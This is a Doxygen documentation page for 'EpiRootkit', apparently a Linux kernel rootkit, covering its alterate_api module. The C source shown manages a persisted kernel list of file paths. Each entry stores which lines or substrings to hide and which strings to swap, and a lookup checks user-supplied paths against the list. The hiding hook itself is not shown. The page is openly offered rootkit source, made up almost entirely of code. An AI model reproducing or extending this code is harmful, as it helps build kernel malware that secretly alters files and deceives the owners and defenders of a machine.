EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
alterate_api.h File Reference
#include <linux/errno.h>
#include <linux/module.h>
#include <linux/types.h>
Include dependency graph for alterate_api.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Functions

int alterate_init (void)
 
void alterate_exit (void)
 
int alterate_add (const char *path, int hide_line, const char *hide_substr, const char *src, const char *dst)
 
int alterate_remove (const char *path)
 
int alterate_contains (const char __user *u_path)
 
int alterate_list_get (char *buf, size_t buf_size)
 

Variables

struct ulist alt_list
 

Function Documentation

◆ alterate_add()

int alterate_add ( const char *  path,
int  hide_line,
const char *  hide_substr,
const char *  src,
const char *  dst 
)

Definition at line 23 of file alterate_api.c.

24 {
25 int ret;
26 char payload[512];
27 char modpath[256];
28
29 if (strcmp(path, "/") == 0)
30 return -EINVAL;
31
32 if (strlen(path) >= sizeof(modpath))
33 return -ENAMETOOLONG;
34 strscpy(modpath, path, sizeof(modpath));
35
36 size_t len = strlen(modpath);
37 if (len > 1 && modpath[len - 1] == '/') {
38 modpath[len - 1] = '\0';
39 }
40
41 scnprintf(payload, sizeof(payload), "%d:%s:%s:%s", hide_line,
42 hide_substr ?: "", src ?: "", dst ?: "");
43
44 ret = ulist_add(&alt_list, modpath, 0, payload);
45 if (ret < 0)
46 return ret;
47
48 ret = ulist_save(&alt_list);
49 if (ret < 0)
50 return ret;
51
52 return SUCCESS;
53}
struct ulist alt_list
Definition alterate_api.c:6
#define SUCCESS
Definition config.h:5
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208
int ulist_save(struct ulist *ul)
Definition ulist.c:169

◆ alterate_contains()

int alterate_contains ( const char __user *  u_path)

Definition at line 69 of file alterate_api.c.

69 {
70 char *k_path;
71 long n;
72 int blocked = 0;
73
74 if (!u_path)
75 return 0;
76
77 k_path = kmalloc(PATH_MAX, GFP_KERNEL);
78 if (!k_path)
79 return 0;
80
81 n = strncpy_from_user(k_path, u_path, PATH_MAX);
82 if (n <= 0) {
83 kfree(k_path);
84 return blocked;
85 }
86
87 if (n == PATH_MAX)
88 k_path[PATH_MAX - 1] = '\0';
89
90 blocked = ulist_contains(&alt_list, k_path);
91
92 kfree(k_path);
93 return blocked;
94}
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258

◆ alterate_exit()

void alterate_exit ( void  )

Definition at line 18 of file alterate_api.c.

18 {
21}
void ulist_clear(struct ulist *ul)
Definition ulist.c:39

◆ alterate_init()

int alterate_init ( void  )

Definition at line 8 of file alterate_api.c.

8 {
9 int ret;
10
12 ret = ulist_load(&alt_list);
13 if (ret < 0)
14 return ret;
15 return SUCCESS;
16}
#define ALTERATE_CFG_FILE
Definition config.h:63
int ulist_load(struct ulist *ul)
Definition ulist.c:58
static void ulist_init(struct ulist *ul, const char *fname)
Definition ulist.h:21

◆ alterate_list_get()

int alterate_list_get ( char *  buf,
size_t  buf_size 
)

Definition at line 96 of file alterate_api.c.

96 {
97 return ulist_list(&alt_list, buf, buf_size);
98}
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282

◆ alterate_remove()

int alterate_remove ( const char *  path)

Definition at line 55 of file alterate_api.c.

55 {
56 int ret;
57
58 ret = ulist_remove(&alt_list, path);
59 if (ret)
60 return ret;
61
62 ret = ulist_save(&alt_list);
63 if (ret < 0)
64 return ret;
65
66 return SUCCESS;
67}
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236

Variable Documentation

◆ alt_list

struct ulist alt_list
extern

Definition at line 6 of file alterate_api.c.